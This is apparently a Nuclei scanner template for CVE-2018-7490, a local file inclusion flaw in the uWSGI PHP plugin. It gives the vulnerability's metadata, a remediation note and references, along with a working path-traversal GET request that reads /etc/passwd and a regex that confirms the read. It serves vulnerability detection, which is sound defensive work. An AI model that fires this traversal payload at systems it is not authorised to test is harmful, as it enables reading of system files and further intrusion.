46 lines
1.5 KiB
YAML
46 lines
1.5 KiB
YAML
id: CVE-2018-7490
|
|
|
|
info:
|
|
name: uWSGI PHP Plugin Local File Inclusion
|
|
author: madrobot
|
|
severity: high
|
|
description: uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.
|
|
remediation: |
|
|
Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
|
|
reference:
|
|
- https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html
|
|
- https://www.exploit-db.com/exploits/44223/
|
|
- https://www.debian.org/security/2018/dsa-4142
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-7490
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2018-7490
|
|
cwe-id: CWE-22
|
|
epss-score: 0.95641
|
|
epss-percentile: 0.99235
|
|
cpe: cpe:2.3:a:unbit:uwsgi:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: unbit
|
|
product: uwsgi
|
|
tags: cve,cve2018,uwsgi,php,lfi,plugin,edb
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100f1c0fdb44f838c466757c2c0c6dcc238e85dd87ac3f4d1f8374fbe4f4a7696a1022100b8bb597c55bd8c005bed9b87bcbb042d34cce9736a0058efa518dda212437bdf:922c64590222798bb761d5b6d8e72950
|